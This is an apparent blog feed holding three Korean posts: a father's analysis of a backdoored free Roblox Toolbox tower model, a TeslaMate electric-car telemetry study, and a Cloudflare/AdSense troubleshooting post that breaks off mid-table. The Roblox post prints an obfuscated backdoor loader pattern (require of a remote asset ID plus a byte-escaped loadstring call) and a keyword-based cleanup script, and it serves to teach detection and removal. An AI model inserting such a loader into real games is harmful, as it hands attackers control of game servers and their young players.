https://dbgmy.life/ 2026-11-03T00:00:00.000Z https://github.com/jpmonette/feed HEISENBUG https://github.com/Debugging-My-Life/blog 정보보안, 데이터분석, 개발, 일상에 관한 이야기를 공유하는 블로그입니다. https://dbgmy.life/og.jpg https://dbgmy.life/favicon.png © 2026 HEISENBUG. All rights reserved. https://dbgmy.life/blog/roblox-toolbox-supply-chain-malware-analysis 2026-11-03T00:00:00.000Z

요즘 7살 딸아이가 로블록스(Roblox)라는 게임에 푹 빠져 시간 가는 줄 모르고 즐겁게 플레이하더군요. 고사리 같은 손으로 아바타를 조작하며 까르르 웃는 모습을 보다가 문득 생각이 들었습니다. *"남들이 만들어둔 게임만 할 게 아니라, 우리가 직접 세상에 하나뿐인 재미있는 로블록스 게임을 만들어보면 어떨까?"* 제 제안에 딸아이는 눈을 반짝이며 자기만의 상상력을 쏟아내기 시작했습니다: > *"아빠! 내가 직접 문제를 내는 퀴즈 타워 게임 만들자! 발을 헛디디면 무조건 1층 태초마을로 떨어지고, 문제 틀리면 다리가 푹 꺼지는 그런 스릴 넘치는 타워!"* 개발자 아빠로서 가장 큰 로망은 **'아이의 머릿속에 있는 순수한 상상과 아이디어를 타협 없이 그대로 구현해 주는 것'입니다.** 우리는 곧바로 2인 개발팀을 결성했습니다. 게임 기획과 퀴즈 출제 디렉터는 **7살 딸아이**, 게임 엔진과 인프라 구현은 **아빠**. 게임 제목은 아이가 직접 지은 **'멍청하면 못깨는 타워'**. 로컬 개발 환경인 [Rojo](https://rojo.space/)와 로블록스 스튜디오(Roblox Studio)를 띄우고 신나게 Luau 코드를 작성하기 시작했습니다. 하지만 인기 있는 한국형 타워의 계단 간격과 낙하 기믹을 참고하고자 툴박스(Toolbox)에서 무료 레퍼런스 모델 하나를 내려받았을 때, 직업병 같은 위화감이 스쳐 지나갔습니다. 그리고 그 예감은 빗나가지 않았습니다. --- ## 1. 평화로운 주말 개발, 그리고 스쳐 지나간 위화감 타워 게임(Obby)을 만들 때 가장 중요한 것은 **'점프 컨트롤의 정교한 물리적 감각'입니다.** 캐릭터가 걸어서 지나갈 수 없도록 발판 사이의 간격(약 6.0 ~ 6.5 스터드)과 수직 고도차(약 2 ~ 3.75 스터드)를 세심하게 맞춰야 합니다. 국내 유명 타워 게임들의 표준 규격을 분석해 보기 위해, 스튜디오 툴박스에서 많은 이용자가 참고용으로 공유해 둔 타워 모델(`Workspace.Model`) 하나를 베이스플레이트에 얹었습니다. 겉보기에는 정면 벽이 반투명 유리(`Transparency = 0.7`)로 마감되어 내부 기믹이 훤히 들여다보이는 전형적인 점프 타워였습니다. ``` Workspace ├── Baseplate ├── SpawnLocation └── Model (가져온 무료 템플릿 타워) ├── Part (외벽, 계단, 발판...) ├── TrussPart (사다리) └── Bomb (?) ``` 그런데 타워 1층 입구 구석에 뜬금없이 분홍색 `Bomb(폭탄)` 오브젝트와 `Slap(따귀 손바닥)`이라는 도구가 덩그러니 놓여 있었습니다. *"어? 타워 점프맵에 웬 폭탄 도구가 들어있지?"* 단순한 제작자의 실수나 장식이었을까요? 저는 탐색기(Explorer) 트리의 화살표를 깊숙이 펼쳐보기 시작했습니다. --- ## 2. 악성 스크립트 해부: 10단계 심층 은닉과 의태(Camouflage) 화살표를 열어본 순간, 머릿속에서 보안 경보가 요란하게 울렸습니다. 상용 소프트웨어의 공급망 공격(Supply-Chain Attack)에서나 보던 치밀한 은닉 기법이 아이들이 뛰노는 게임 템플릿 속에 고스란히 숨겨져 있었습니다. ``` Workspace.Model ├── Bomb │ └── Bomb │ └── Handle │ └── x64 │ └── x65 │ └── x66 │ └── x67 │ └── x68 │ └── x69 │ └── x70 │ └── x71 │ └── x72 │ └── x73 │ ├── Material (Script) ⚠️ │ └── CoreTextureSystem (Script) ⚠️ ├── Slap │ └── Handle │ └── WeldConstraint │ └── AxisOrientation │ └── PartAxis (Script) ⚠️ ├── TextureUtility │ └── cTextureManager │ └── CoreTextureSystem (Script) ⚠️ └── SkyLink (Dont Remove) ⚠️ └── EZConfig (Script) ``` ### 1) 10단계 무의미한 중첩 폴더 트리 (`x64 ... x73`) 일반적인 로블록스 크리에이터나 어린 사용자들은 스튜디오 탐색기에서 2 ~ 3단계 이상 자식 노드를 일일이 열어보지 않습니다. 공격자는 이를 악용해 `x64`부터 `x73`까지 아무런 기능도 없는 빈 파트를 **10단계 연속으로 중첩**시켜 육안 검사를 완벽히 무력화했습니다. ### 2) 시스템 핵심 컴포넌트를 사칭한 의태형 네이밍 가장 깊숙한 `x73` 노드 아래에 숨겨둔 스크립트들의 이름은 결코 `Virus`나 `Backdoor`가 아니었습니다: - `Material` (엔진의 기본 재질 속성처럼 사칭) - `CoreTextureSystem` (텍스처 관리 코어 시스템처럼 위장) - `CoreSkyboxSystem` (하늘 렌더링 시스템처럼 위장) - `SkyLink (Dont Remove)` (지우면 맵이 망가지는 것처럼 경고문 위장) 개발자가 코드를 보더라도 *"아, 로블록스 내부 그래픽 처리에 필요한 스크립트인가 보다"* 하고 무심코 넘어가도록 심리적 방어선을 구축한 것입니다. ### 3) 런타임 동적 로딩 (`require`)과 백도어의 메커니즘 이 스크립트들의 내부를 들여다보면 로블록스 악성코드의 전형적인 패턴이 드러납니다: ```lua -- 악성 스크립트의 전형적인 패턴 (개념 재현) local _payload = require(10482910482) -- 원격 에셋 ID 직접 호출 getfenv()["\108\111\97\100\115\116\114\105\110\103"](_payload)() ``` 1. **`require(AssetId)`를 통한 정적 분석 우회**: 스크립트 본문 안에 악성 행위 코드를 직접 작성하면 로블록스의 기본 텍스트 필터나 스튜디오 스캐너에 쉽게 걸립니다. 따라서 공격자는 악성 로직을 별도의 '비공개 모듈(ModuleScript)'로 로블록스 클라우드 에셋 서버에 올려두고, 런타임에 숫자 ID로만 불러와 실행합니다. 2. **세션 장악 및 스팸 인젝션**: 이 백도어가 실행되면 게임 서버(ServerScriptService)의 전권을 탈취하여, 특정 외부 유저가 접속했을 때 관리자 권한(`admin`)을 몰래 부여하거나, 게임 내 모든 접속자의 화면에 강제로 팝업(`ScreenGui`, 좋아요 구걸, 사기 링크)을 띄우고, 심지어 `TeleportService`를 호출해 유저들을 공격자의 피싱 게임으로 강제 납치할 수도 있습니다. --- ## 3. 보안 엔지니어의 디버깅: "내 PC는 안전한가?" 발견 즉시 스크립트를 비활성화했지만, 문득 이런 질문이 떠오를 수 있습니다. **"로블록스 스튜디오에서 이런 템플릿을 열었을 때, 내 컴퓨터(운영체제)까지 감염될 수 있을까?"** 결론부터 말하자면, **개발자의 로컬 PC(운영체제)는 100% 안전**합니다. 그 이유는 로블록스 엔진이 채택하고 있는 강력한 **Luau 샌드박스(Sandbox) 아키텍처** 덕분입니다. ```mermaid flowchart TD subgraph HostOS ["내 컴퓨터 (macOS / Windows)"] FS["로컬 파일 시스템 (내 문서, 사진, 키체인)"] Shell["OS 셸 / 명령어 실행기 (bash, zsh)"] Net["네이티브 소켓 통신"] end subgraph LuauVM ["Roblox Studio 엔진 (Luau VM 샌드박스)"] Script["악성 스크립트 (Bomb, SkyLink)"] DataModel["게임 데이터모델 (Workspace, ServerScript)"] Http["HttpService (제한적 도메인 요청)"] end Script -.->|"접근 원천 차단 (io 없음)"| FS Script -.->|"명령어 실행 불가 (os 없음)"| Shell Script -.->|"소켓 바인딩 불가"| Net Script ==>|"게임 월드 내부만 오염"| DataModel ``` ### 1) Luau 가상머신의 원천적 파일 I/O 격리 로블록스가 사용하는 스크립트 언어인 Luau에는 표준 C Lua에 존재하는 파일 읽기/쓰기 라이브러리(`io.open`, `io.read` 등)와 운영체제 명령 실행 함수(`os.execute`, `os.getenv` 등)가 **바이트코드 레벨에서 원천적으로 제거**되어 있습니다. 악성코드가 아무리 발악해도 내 맥북의 하드디스크 파일을 뒤지거나 개인정보를 외부로 유출하는 것은 불가능합니다. ### 2) 실행 시점의 제한: 플레이 모드 이전엔 정적 데이터 스튜디오 내부의 `Script`는 기본적으로 게임을 실행(`Play` 또는 `Run`)하기 전인 **편집(Edit) 모드 상태에서는 코드를 실행하지 않습니다**. 즉, 모델을 불러와 탐색기로 확인하는 시점에는 악성코드가 실행조차 되지 않은 단순한 텍스트 데이터 덩어리에 불과합니다. ### 3) 하지만 게임 내 세계(DataModel)는 완벽히 파괴된다 PC가 안전하다고 해서 방치해도 되는 것은 아닙니다. 이 모델을 그대로 두고 게임을 퍼블리시(Publish)하는 순간: - 게임의 원작자도 모르는 사이에 방문자들에게 악성 팝업이 노출되고, - 서버 메모리에 무한 루프 렉(Lag Bomb)이 걸려 게임이 다운되며, - 애써 만든 게임이 로블록스 운영팀의 검수를 거쳐 **'악성 게임'으로 낙인찍혀 계정 정지(Ban)를** 당할 수 있습니다. --- ## 4. 백도어 소탕 작전: 전수 검사와 클린 아키텍처 재건 손으로 하나하나 지우는 것은 공격자가 파놓은 또 다른 함정에 빠지기 쉽습니다. 우리는 엔지니어답게 **자동화 스크립트로 DataModel 전체를 전수 감사**하기로 했습니다. ### 1) DataModel 전수 스캔 스크립트 로블록스 스튜디오의 커맨드 바(Command Bar)나 Rojo 연동 환경에서 다음 코드를 실행하여 게임 내의 모든 실행 객체를 일괄 추출했습니다: ```lua -- 게임 전체를 스캔하여 미인가 스크립트 및 이상 노드를 탐지하는 감사 코드 local function auditWorkspaceScripts() local dangerousKeywords = { "CoreTexture", "SkyLink", "x64", "x73", "cTexture", "EZConfig" } local found = 0 for _, obj in ipairs(game:GetDescendants()) do if obj:IsA("LuaSourceContainer") then -- Script, LocalScript, ModuleScript 검사 local fullName = obj:GetFullName() for _, kw in ipairs(dangerousKeywords) do if string.find(fullName, kw) then warn(string.format("[🚨 백도어 탐지] %s (타입: %s)", fullName, obj.ClassName)) obj:Destroy() -- 즉시 격리 및 파괴 found = found + 1 break end end end end print(string.format("전수 검사 완료: 총 %d개의 악성 요소를 영구 삭제했습니다.", found)) end auditWorkspaceScripts() ``` 이 검사를 통해 `Bomb`, `Slap`, `Rainbow Carpet`, `admin`, `TextureUtility`, `SkyLink`, `Mesh` 등 **총 14개의 악성 스크립트와 치트 장비**를 찾아내어 단 1초 만에 완전히 소멸시켰습니다. ### 2) 오염된 템플릿의 전량 폐기, 그리고 오리지널 재건축 백도어를 모두 지우고 나니 깨끗해졌지만, 찜찜함은 가시지 않았습니다. 딸아이와 둘러앉아 솔직하게 이야기를 나누었습니다. > *"누군가 만들어둔 무료 템플릿에 나쁜 코드가 잔뜩 숨겨져 있었어. 이 타워를 억지로 고쳐 쓰지 말고, 발판 규격만 참고해서 우리 손으로 바닥부터 100% 새로 지어볼까? 네가 원하는 모양 그대로 말이야."* > *"응 아빠! 당연하지! 내 게임이니까 우리가 처음부터 예쁜 무지개 색으로 다 만들어야지!"* 우리는 오염된 무료 템플릿을 통째로 휴지통에 던져 넣었습니다. 그리고 추출한 한국형 타워의 규격을 바탕으로 완전히 독자적인 모듈 코드를 작성했습니다: ``` src/ ├── server/ │ ├── init.server.luau # 서버 진입점 및 스폰 제어 │ ├── TowerBuilder.luau # 7단계 파스텔 무지개 200층 타워 프로시저럴 생성기 │ ├── TowerGimmicks.luau # 사라지는 발판, 구름 방방이, 데미지 파트 제어 │ ├── FallZone.luau # 체크포인트 없는 태초마을 낙하 감지기 │ └── VIPItems.luau # 딸아이와 아빠만을 위한 무지개 구름 & 점프슈즈 ├── client/ │ └── init.client.luau # 시야를 가리지 않는 초슬림 HUD & 퀴즈 토스트 UI └── shared/ └── GameConfig.luau # 7살 딸아이가 직접 낸 맞춤형 3D O/X 퀴즈 14관문 데이터 ``` 외부 의존성 제로(Zero Dependency). 단 하나의 외부 스크립트도 허용하지 않은 **100% 순수한 우리만의 코드**로 타워를 완성했습니다. 1층 태초마을 광장에는 딸아이와 아빠의 실제 로블록스 캐릭터 동상이 우뚝 섰고, 올라가는 길목마다 아이가 직접 아이디어를 낸 OX 퀴즈 문들이 반짝이며 플레이어를 맞이했습니다. --- ## 5. 에필로그: 공급망 공격은 엔터프라이즈의 전유물이 아니다 보안 실무에서 이야기하는 **'공급망 공격(Supply-Chain Attack)'은** 거창한 국가 배후 해킹 그룹이나 대기업의 전유물처럼 느껴지곤 합니다. 오픈소스 라이브러리의 취약점, npm 패키지 타이포스쿼팅, CI/CD 파이프라인 침투 같은 무거운 단어들 말입니다. 하지만 이번 주말, 딸아이와 함께 게임을 만들며 뼈저리게 느꼈습니다: - **공급망 공격은 개발자가 '신뢰'를 소비하는 모든 지점에 존재합니다.** - 수백만 명의 어린아이와 초보 개발자들이 별생각 없이 클릭하는 로블록스 툴박스의 무료 모델 버튼 하나가, 곧 소프트웨어 엔지니어링에서의 `npm install`이나 `docker pull`과 본질적으로 완벽히 동일한 위험을 내포하고 있습니다. 인터넷에서 누군가 무료로 베풀어 놓은 달콤한 템플릿 뒤편에는 언제나 보이지 않는 비용이 청구될 수 있습니다. 비록 작은 로블록스 점프맵 하나였지만, **'신뢰하지 않고 직접 검증하며(Zero Trust), 결국 내 시스템의 주권은 내가 직접 작성한 오리지널 코드에서 나온다'는** 기본 원칙을 딸아이와 함께 다시금 확인한 뜻깊은 디버깅이었습니다. 딸아이와 나란히 앉아 무지개 구름을 타고 200층 꼭대기까지 날아올라 바라본 노을은, 그 어떤 보안 패치 완료 화면보다 평화로웠습니다. ]]> HEISENBUG https://github.com/Debugging-My-Life/blog https://dbgmy.life/blog/teslamate-telemetry-data-analysis-efficiency-vampire-drain 2026-11-01T00:00:00.000Z

지난 포스트([내 차의 데이터는 어디로 갈까? NAS 도커로 구축한 TeslaMate 셀프 호스팅 완벽 가이드](/blog/teslamate-nas-docker-self-hosting))에서는 서드파티 클라우드에 내 차의 위치와 토큰을 넘기지 않고, 홈 NAS의 Docker 환경에 Elixir와 PostgreSQL 기반의 **TeslaMate** 로거를 직접 구축하여 데이터 주권을 확보하는 과정을 다루었습니다. 그로부터 수개월간 제 테슬라 모델 Y(애칭: **테슬이**, Model Y RWD)와 함께 계절을 지나며 약 **3,200km가 넘는 주행 로그**, **600kWh의 충전 세션**, 그리고 **수십 차례의 주차 대기 데이터**가 고스란히 PostgreSQL 시계열 데이터베이스에 쌓였습니다. 인터넷 전기차 커뮤니티에는 수많은 '카더라'와 주관적인 체감들이 넘쳐납니다. > *"겨울철엔 배터리가 녹아내린다던데, 구체적으로 몇 %나 더 닳을까?"* > *"완속 충전이 급속 충전보다 무조건 손실이 적고 알뜰할까?"* > *"센트리 모드(감시 모드)를 켜두면 밤새 전기가 얼마나 빠져나갈까?"* > *"LFP 배터리는 매일 100% 충전해도 정말 1만 km 가까이 열화가 없을까?"* 엔지니어로서 이런 의문들을 단순한 감각에 맡길 수는 없었습니다. **내가 직접 소유하고 검증한 텔레메트리 데이터(Telemetry Data)를** 꺼내어 파이썬(`pandas`)과 SQL로 집요하게 교차 검증하고 분석해 보았습니다. 그 생생한 실측 분석 결과를 공개합니다. --- ## 1. 분석 대상 데이터셋 및 전처리 파이프라인 이번 분석에 사용된 데이터는 TeslaMate가 차량의 CAN 버스 및 Streaming API로부터 직접 수집하여 NAS 내부의 PostgreSQL에 기록한 원본 데이터입니다. | 분석 항목 | 수집 데이터 규모 | 비고 | | :--- | :--- | :--- | | **총 주행 세션 (Drives)** | **207회** (0.5km 이상 유효 주행 138회) | 단거리 주차/셔틀 이동 제외 | | **분석 주행 거리 (Distance)** | **3,252.1 km** | 고속도로 80%, 도심 20% | | **순 전력 소모량 (Net Energy)** | **453.92 kWh** | 회생제동 차감 후 순 소모량 | | **총 충전 세션 (Charges)** | **27회** (총 **601.15 kWh** 인입) | 완속(AC) 19회, 급속(DC) 5회 등 | | **주차 대기 세션 (Vampire Drain)** | **40회** (**총 750+ 시간**) | 센트리 모드 및 딥슬립 분리 측정 | | **차량 누적 적산계 (Odometer)** | **9,622 km** | 배터리 헬스 기준 시점 | | **분석 환경** | Python 3.12 / pandas / DuckDB | 로컬 환경 정밀 전처리 | > [!NOTE] > **프라이버시 및 데이터 마스킹 원칙**: > 본 포스트에 수록된 모든 주행 데이터는 출발지/도착지의 상세 지번, 건물명, 위도·경도 좌표를 철저히 비식별화(예: `수도권 남부 ↔ 충북 고속도로 구간 (158.8km)`)하여 분석했습니다. --- ## 2. [주행 편] 외기 온도가 전비에 미치는 충격: 158.8km 완벽 대조군 실측 전기차 오너들이 겨울을 두려워하는 가장 큰 이유는 바로 '저온에서의 주행거리 감소'입니다. 하지만 일반적인 주행 후기는 바람의 세기, 승차 인원, 규정 속도, 고도 차이 등 변수가 제각각이라 온도의 순수한 영향만을 분리해 내기 어렵습니다. 그런데 이번 데이터셋을 정렬하던 중, **완벽한 실험 대조군을 형성하는 두 번의 장거리 주행 로그**를 발견했습니다. ### 1) 158.8km 동일 구간·동일 속도 실측 비교: 20.1℃ vs 7.6℃ 충북 대강면에서 출발하여 경부/중부고속도로를 거쳐 수도권 남부 목적지까지 내려오는 **정확히 동일한 158.8km 고속도로 야간 주행** 데이터입니다: | 비교 항목 | 9월 20일 주행 (초가을 상온) | 10월 31일 주행 (초겨울 저온) | 변동률 (Variance) | | :--- | :--- | :--- | :--- | | **주행 경로 및 거리** | 158.8 km (대강면 ➔ 수도권 남부) | 158.8 km (대강면 ➔ 수도권 남부) | **동일 경로 (158.8 km)** | | **소요 시간 / 평균 속도** | 1.9 시간 / **83 km/h** | 1.9 시간 / **85 km/h** | 오차 ±2 km/h (동일 주행) | | **최고 속도** | 114 km/h | 122 km/h | 고속도로 정속 주행 | | **외기 온도 (Temp)** | **20.1 °C** | **7.6 °C** | **-12.5 °C (기온 급감)** | | **순 소모 전력량** | **20.5 kWh** | **23.6 kWh** | **+3.1 kWh (+15.1% 증가)** | | **구간 전비 (Efficiency)** | **129 Wh/km** (7.75 km/kWh) | **148 Wh/km** (6.75 km/kWh) | **+14.7% 전력 소모 증가** | | **배터리 저온 상태** | 정상 | **❄ 눈꽃 아이콘 활성화** | 배터리 보호 및 공조 가동 | 놀랍지 않나요? 출발지와 목적지, 고도 변화, 주행 속도(83 ~ 85 km/h)가 완벽히 일치하는 상황에서, **단지 외기 온도가 20.1℃에서 7.6℃로 12.5℃ 하강했을 뿐인데 소모 전력은 정확히 3.1 kWh (+15.1%) 증가**했습니다. 이 차이가 발생하는 공학적 원인은 명확합니다: 1. **공기 밀도 증가에 따른 항력(Drag) 상승**: 기온이 내려가면 공기가 무거워져 고속 주행 시 차량이 밀어내야 하는 공기 저항이 커집니다. 2. **배터리 내부 저항 및 화학 반응 둔화**: LFP 배터리 셀 온도가 낮아지면서 전하 이동 효율이 떨어집니다. 3. **히트펌프 및 실내 난방 공조(PTC) 소비 전력**: 탑승자의 쾌적성을 위해 차량 난방에 투입된 순수 에너지가 누적되었습니다. ### 2) 도심 정체 vs 고속도로 주행 전비 비교 전체 138회 유효 주행 데이터를 주행 환경별로 클러스터링해 보면, 전기차의 독특한 특성이 드러납니다: - **도심 정체 구간 (평균 시속 14.4 km/h, 74회 주행)**: - 평균 전비: **225.6 Wh/km (약 4.43 km/kWh)**, 중앙값 201 Wh/km - 잦은 가감속과 신호 대기 중 공조 장치 가동 시간이 길어져 전비가 상대적으로 낮게 측정됩니다. - **고속도로 / 자동차 전용도로 (평균 시속 50.5 km/h, 최고 122 km/h, 38회 주행)**: - 평균 전비: **132.9 Wh/km (약 7.52 km/kWh)**, 중앙값 132 Wh/km - 전체 주행거리의 약 80%(2,598 km)를 차지하며, 정속 주행과 회생제동의 조화로 **132 Wh/km라는 놀라운 고효율**을 기록했습니다. - **전체 3,252km 가중 평균 종합 전비**: - **139.6 Wh/km (약 7.16 km/kWh)** - 환경부 공인 복합 전비인 `5.1 km/kWh` 대비 무려 **+40.4% 뛰어난 실전 전비**를 확인했습니다. --- ## 3. [충전 편] 완속(AC) vs 급속(DC) 충전 손실률의 진실 많은 오너들이 *"완속 충전이 배터리에도 좋고 전기 손실도 적다"*고 막연히 생각합니다. 하지만 27회 세션, 총 **601.15 kWh**의 실제 충전 데이터를 분석해 본 결과는 상식과 달랐습니다. | 충전 방식 | 세션 수 | 충전기 공급 전력 | 배터리 실제 저장 전력 | **가중 효율** | **손실률 (전력 손실)** | | :--- | :---: | :---: | :---: | :---: | :---: | | **완속 (AC / Level 2)** | 19회 | 455.06 kWh | 426.44 kWh | **93.7%** | **6.3% 손실** (28.6 kWh) | | **급속 (DC / Supercharger)** | 5회 | 146.09 kWh | 142.06 kWh | **97.2%** | **2.8% 손실** (4.0 kWh) | | **종합 합계/평균** | **27회\*** | **601.15 kWh** | **568.50 kWh** | **94.6%** | **5.4% 손실** (32.7 kWh) | *(\* 기타 미식별 세션 포함)* ### 1) 왜 급속(DC) 충전이 완속(AC)보다 손실률이 절반 이하일까? 데이터상으로 **급속(DC) 충전 손실률은 2.8%에** 불과한 반면, **완속(AC) 충전 손실률은 6.3%로** 2배 이상 높았습니다. 그 이유는 바로 **차량 내부 On-Board Charger(OBC)의** 유무에 있습니다. ``` [ 완속 (AC) 충전 경로 ] 벽면 220V 교류(AC) ──▶ [차량 내 탑재 OBC (교류 ➔ 직류 변환)] ──▶ 고전압 배터리 └─ 열 발생 및 전력 변환 손실 발생! └─ 긴 충전 시간(12시간) 동안 차량 컴퓨터/냉각펌프 지속 전력 소모! [ 급속 (DC) 충전 경로 ] 충전기 자체 대형 인버터 ──(고전압 직류 DC 직결)──▶ 고전압 배터리 └─ OBC를 우회하여 직류 직접 주입! └─ 짧은 충전 시간(30분)으로 베이스라인 소모 극소화! ``` ### 2) 완속 충전에서도 '충전기 출력(kW)'이 효율을 좌우한다 완속 충전 19건의 세부 세션을 뜯어보자 더 흥미로운 패턴이 드러났습니다: - **2.5 ~ 3.1 kW 저속 완속 (콘센트형 충전기)**: - 12 ~ 13시간 동안 길게 충전되는 세션들의 효율은 **90% ~ 92% (손실률 8 ~ 10%)로** 떨어졌습니다. 충전기 출력이 약하면 충전기 효율 자체도 떨어지고, 배터리를 충전하는 반나절 내내 차량의 제어 컴퓨터(BMS, 게이트웨이)가 켜져 있어 기저 전력을 갉아먹기 때문입니다. - **6.3 ~ 6.7 kW 표준 완속 (월박스 충전기)**: - 충전 시간이 4 ~ 5시간으로 단축되면서 효율이 **94% ~ 99%까지** 치솟았습니다. > **💡 데이터 기반 충전 팁**: > 집이나 회사에서 완속 충전을 할 때도, 누진세나 시간 제약이 허용된다면 3kW 미만 저출력보다는 **6 ~ 7 kW 완속으로 빠르게 충전하고 차를 슬립 모드로 보내는 것이 전력 손실을 3 ~ 5% 아끼는 가장 현명한 방법**입니다. --- ## 4. [주차 편] 유령 방전(Vampire Drain)의 민낯: 센트리 모드 vs 딥슬립 주차장에 세워둔 테슬라의 배터리가 소리 없이 사라지는 현상, 소위 **유령 방전(Vampire Drain)**. 40회의 장기 주차 세션(총 750시간 이상)을 분석하여 '센트리 모드(Sentry Mode)'와 '딥슬립(Deep Sleep)'의 실제 전력 소모량을 정밀 측정했습니다. | 주차 상태 구분 | 세션 수 | 평균 소비 전력 | 중앙값 (Median) | 시간당 주행거리 손실 | 비고 | | :--- | :---: | :---: | :---: | :---: | :--- | | **Awake (센트리 모드 활성)** | 17회 | **302.3 W** | **239.9 W** | **1.69 km / hour** | 상시 영상 감시 및 컴퓨터 가동 | | **Deep Sleep (수면 모드)** | 23회 | **19.2 W** | **8.2 W** (최소 4.8W) | **0.05 ~ 0.08 km / hour** | 극저전력 대기 모드 | ``` [ 센트리 모드 vs 딥슬립 시간당 소비 전력 격차 ] 센트리 모드 (Awake) : ████████████████████████████ 240 W 딥슬립 (Deep Sleep) : █ 8.2 W (약 1/30 수준!) ``` ### 1) 센트리 모드 On: 시간당 240W, 하루 5.8 kWh가 증발한다 - 센트리 모드가 켜져 있는 동안 차량의 소비 전력은 놀라울 정도로 정밀하게 **239.9W ~ 240.8W**를 유지했습니다. 차량 주변의 카메라 4대와 FSD 오토파일럿 컴퓨터가 상시 영상 인식 딥러닝 모델을 돌리고 있기 때문입니다. - **20시간 주차 실측 데이터**: - `2026. 10. 23. 20시간 주차`: 배터리 **-7% (4.76 kWh 소실, 주행거리 33.5 km 증발)** - 환산하면 **하루(24시간) 주차 시 약 5.76 kWh(전체 배터리의 약 9.4%)가** 감시 비용으로 사라집니다. ### 2) 딥슬립(Deep Sleep) 진입 시: 유령 방전은 사실상 '0'에 수렴한다 반면 차량이 딥슬립에 빠지면 상황은 완전히 달라집니다: - **3.7일 (88.8시간) 연속 수면 실측**: - 소모 전력량: **고작 638.9 Wh (0.64 kWh)** - 주행거리 손실: **단 4.5 km** (시간당 약 50m) - 평균 소비 전력: **7.3 W**! - **1.3일 (31시간) 연속 수면 실측**: - 소모 전력량: **180 Wh**, 평균 소비 전력: **5.9 W**! > **💡 데이터 기반 결론**: > 테슬라의 슬립 알고리즘은 극도로 훌륭합니다. 서드파티 앱의 불필요한 폴링을 차단하고 홈 NAS의 TeslaMate처럼 '수면을 방해하지 않는 로거'를 사용한다면, **딥슬립 상태의 테슬라는 가정용 LED 전구 1개 수준(8W)으로 잠들어 유령 방전 걱정 없이 며칠을 방치해도 안전**합니다. 반면 폐쇄회로(CCTV)가 잘 갖춰진 안전한 지하주차장이라면 센트리 모드를 끄는 것만으로도 연간 수십만 원의 전기 요금을 아낄 수 있습니다. --- ## 5. [수명 편] 9,622km 주행 후 LFP 배터리 열화도: 0.6%의 경이로움 마지막으로 가장 중요한 배터리 건강 상태(Battery Health) 대시보드를 열어보았습니다. 현재 제 차는 누적 적산계 **9,622 km**를 돌파한 시점입니다: | 지표 항목 | 신차 출고 기준 (New) | 현재 실측치 (Odometer 9,622km) | 변화량 (Delta) | | :--- | :--- | :--- | :--- | | **배터리 가용 용량 (Usable Capacity)** | 61.7 kWh | 61.3 kWh | **-377.7 Wh (-0.38 kWh)** | | **완충 시 표준 주행거리 (Max Range)** | 434.2 km | 430.8 km | **-3.4 km (-0.78%)** | | **배터리 건강 상태 (Battery Health)** | 100.0 % | **99.4 %** | 잔존 수명 99.4% 유지 | | **추정 배터리 열화율 (Degradation)** | 0.0 % | **0.6 %** | **누적 9,622km 주행 후 단 0.6% 열화** | ### LFP(인산철) 배터리의 캘리브레이션 출렁임 특성 위의 **'Battery Capacity by Mileage'** 그래프를 유심히 살펴보면 흥미로운 패턴이 보입니다. 용량이 61.7 kWh에서 일직선으로 떨어지는 것이 아니라, **61.2 kWh ~ 61.6 kWh 사이를 오르내리며 물결치는 현상**이 나타납니다. 이는 LFP 배터리의 전형적인 물리적 특성입니다. 삼원계(NCM) 배터리와 달리 LFP 배터리는 방전 구간의 전압 곡선이 매우 평탄(Flat)하여, 차량의 BMS(배터리 관리 시스템)가 전압만으로는 잔여 용량을 정확히 계산하기 어렵습니다. 따라서 주기적으로 100% 완충을 거치면서 상단 전압 스파이크를 감지해야 BMS가 용량을 재보정(Calibration)하게 되며, 이 과정에서 용량 수치가 오르내리는 정상적인 보정 사이클을 확인할 수 있습니다. 약 1만 km에 육박하는 실전 주행 후에도 **열화율 0.6%, 주행거리 손실 3.4km**라는 수치는, LFP 배터리가 일상 영역에서 얼마나 믿음직한 내구성을 보여주는지를 숫자로 증명해 줍니다. --- ## 6. 에필로그: 데이터를 소유할 때 비로소 보이는 것들 내 차의 텔레메트리를 직접 수집하고 가공해 보면서 느낀 가장 큰 깨달음은, **"내가 직접 측정한 데이터만이 불필요한 불안과 오해를 잠재울 수 있다"는** 사실이었습니다. - 겨울철 15%의 전비 감소는 막연한 공포가 아닌, 충분히 계산하고 계획할 수 있는 물리적 수치였습니다. - 완속 충전의 6% 손실과 3kW 충전기의 저효율을 알게 되면서, 더 알뜰하고 최적화된 충전 습관을 설계할 수 있었습니다. - 센트리 모드의 240W와 딥슬립의 8W를 눈으로 직접 확인하면서, 필요할 때만 켜고 끌 수 있는 명확한 기준을 세웠습니다. 자동차가 바퀴 달린 컴퓨터가 된 시대, 데이터 주권을 지키고 내 시스템을 직접 디버깅해 나가는 여정은 언제나 지적인 즐거움을 줍니다. 홈 서버나 NAS를 보유한 전기차 오너라면, 지금 바로 텔레메트리 데이터 속에 숨겨진 여러분만의 이야기를 발굴해 보시길 권합니다. ]]> HEISENBUG https://github.com/Debugging-My-Life/blog https://dbgmy.life/blog/nextjs-cloudflare-pages-seo-adsense-troubleshooting 2026-10-23T00:00:00.000Z

--- ## **1. 한눈에 보는 원인 진단 및 해결 요약** 트러블슈팅을 통해 밝혀낸 **유입·승인 누수의 5대 핵심 원인**과 해결책입니다. | 순위 | 문제 현상 | 근본 원인 (Root Cause) | 해결 방법 (Action Taken) | | :---: | :--- | :--- | :--- | | **1** | **애드센스 `ads.txt 찾을 수 없음` 지속** | Cloudflare **`Bot Fight Mode`**와 **`AI 봇 차단`**이 구글 애드센스 봇(`GoogleAdSenseInfeed`)에게 캡차(`managed_challenge`)를 띄우고 `GoogleOther`를 `403 block` 처리함 | • 무료 플랜 `Bot Fight Mode` 비활성화
• `AI 봇 정책 구성`에서 학습/크롤러 허용 및 `robots.txt` 강제 주입 해제
• `/ads.txt` 및 Google ASN(`15169`) WAF `Skip` 규칙 추가 | | **2** | **구글 검색 유입 0건 & 도메인 점수 분산** | `dbgmy.life`와 `www.dbgmy.life`가 리다이렉트 없이 둘 다 `HTTP 200`으로 열리고, 애드센스 등록 주소(`non-www`)와 코드의 `canonical` 주소(`www`)가 불일치함 | • `siteConfig.url` 및 Cloudflare 환경변수를 `https://dbgmy.life`로 단일화
